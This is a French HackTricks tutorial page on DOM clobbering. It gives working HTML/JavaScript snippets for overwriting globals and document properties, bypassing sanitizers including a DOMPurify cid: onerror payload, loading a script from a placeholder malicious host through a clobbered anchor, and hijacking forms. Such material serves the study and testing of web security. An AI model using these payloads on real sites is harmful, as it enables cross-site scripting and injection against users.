hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

217 lines
14 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Fondamentaux**
Il est possible de générer des **variables globales à l'intérieur du contexte JS** avec les attributs **`id`** et **`name`** dans les balises HTML.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Seuls** certains éléments peuvent utiliser l'attribut **name** pour écraser les globaux, ce sont : `embed`, `form`, `iframe`, `image`, `img` et `object`.
De manière intéressante, lorsque vous utilisez un **élément de formulaire** pour **écraser** une variable, vous obtiendrez la valeur **`toString`** de l'élément lui-même : `[object HTMLFormElement]` mais avec **ancre** le **`toString`** sera le **`href`** de l'ancre. Par conséquent, si vous écrasez en utilisant la balise **`a`**, vous pouvez **contrôler** la **valeur** lorsqu'elle est **traitée comme une chaîne** :
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Tableaux et Attributs
Il est également possible de **surcharger un tableau** et les **attributs d'un objet** :
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Pour écraser **un 3ème attribut** (par exemple x.y.z), vous devez utiliser un **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Cibler plus d'attributs est **plus compliqué mais toujours possible**, en utilisant des iframes :
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
La balise style est utilisée pour **donner suffisamment de temps à l'iframe pour se rendre**. Sans cela, vous obtiendrez une alerte **indéfinie**.
{% endhint %}
Pour écraser des attributs plus profonds, vous pouvez utiliser **des iframes avec un encodage html** de cette manière :
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Contournement de filtre**
Si un filtre **boucle** à travers les **propriétés** d'un nœud en utilisant quelque chose comme `document.getElementByID('x').attributes`, vous pourriez **écraser** l'attribut **`.attributes`** et **casser le filtre**. D'autres propriétés DOM comme **`tagName`**, **`nodeName`** ou **`parentNode`** et d'autres encore sont également **écrasables**.
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Écrasement de `window.someObject`**
En JavaScript, il est courant de trouver :
```javascript
var someObject = window.someObject || {};
```
Manipuler le HTML sur la page permet de remplacer `someObject` par un nœud DOM, introduisant potentiellement des vulnérabilités de sécurité. Par exemple, vous pouvez remplacer `someObject` par un élément d'ancre pointant vers un script malveillant :
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
Dans un code vulnérable tel que :
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
Ce méthode exploite la source du script pour exécuter du code non désiré.
**Astuce**: **`DOMPurify`** vous permet d'utiliser le protocole **`cid:`**, qui **n'encode pas en URL les guillemets doubles**. Cela signifie que vous pouvez **injecter un guillemet double encodé qui sera décodé à l'exécution**. Par conséquent, injecter quelque chose comme **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** fera en sorte que l'encodage HTML `&quot;` soit **décodé à l'exécution** et **s'échappe** de la valeur de l'attribut pour **créer** l'événement **`onerror`**.
Une autre technique utilise un élément **`form`**. Certaines bibliothèques côté client inspectent les attributs d'un élément de formulaire nouvellement créé pour les nettoyer. Cependant, en ajoutant un `input` avec `id=attributes` à l'intérieur du formulaire, vous écrasez efficacement la propriété des attributs, empêchant le désinfectant d'accéder aux attributs réels.
Vous pouvez [**trouver un exemple de ce type de clobbering dans ce compte rendu de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Écrasement de l'objet document
Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant le DOM Clobbering:
> L'interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [prend en charge les propriétés nommées](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Les [noms de propriétés pris en charge](https://webidl.spec.whatwg.org/#dfn-supported-property-names) d'un objet [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document à tout moment se composent des éléments suivants, dans l'ordre de l'arborescence selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec les valeurs des attributs [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :
>
> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- La valeur de l'attribut [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root).
En utilisant cette technique, vous pouvez remplacer des **valeurs couramment utilisées telles que `document.cookie`, `document.body`, `document.children`**, et même des méthodes dans l'interface Document comme `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Écriture après l'élément écrasé
Les résultats des appels à **`document.getElementById()`** et **`document.querySelector()`** peuvent être modifiés en injectant une balise `<html>` ou `<body>` avec un attribut id identique. Voici comment cela peut être fait :
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
De plus, en utilisant des styles pour masquer ces balises HTML/body injectées, l'interférence avec d'autres textes dans le `innerText` peut être évitée, améliorant ainsi l'efficacité de l'attaque:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Les investigations sur SVG ont révélé qu'une balise `<body>` peut également être utilisée de manière efficace :
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Pour que la balise HTML fonctionne dans SVG dans des navigateurs comme Chrome et Firefox, une balise `<foreignobject>` est nécessaire :
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Substitution de formulaires
Il est possible d'ajouter de **nouvelles entrées à l'intérieur d'un formulaire** simplement en **spécifiant l'attribut `form`** à l'intérieur de certaines balises. Vous pouvez utiliser ceci pour **ajouter de nouvelles valeurs à l'intérieur d'un formulaire** et même ajouter un nouveau **bouton** pour **l'envoyer** (clickjacking ou en abusant de certains codes JS `.click()`):
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* Pour plus d'attributs de formulaire, consultez [**ce lien**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Références
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript pour les hackers : Apprenez à penser comme un hacker.
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le **groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>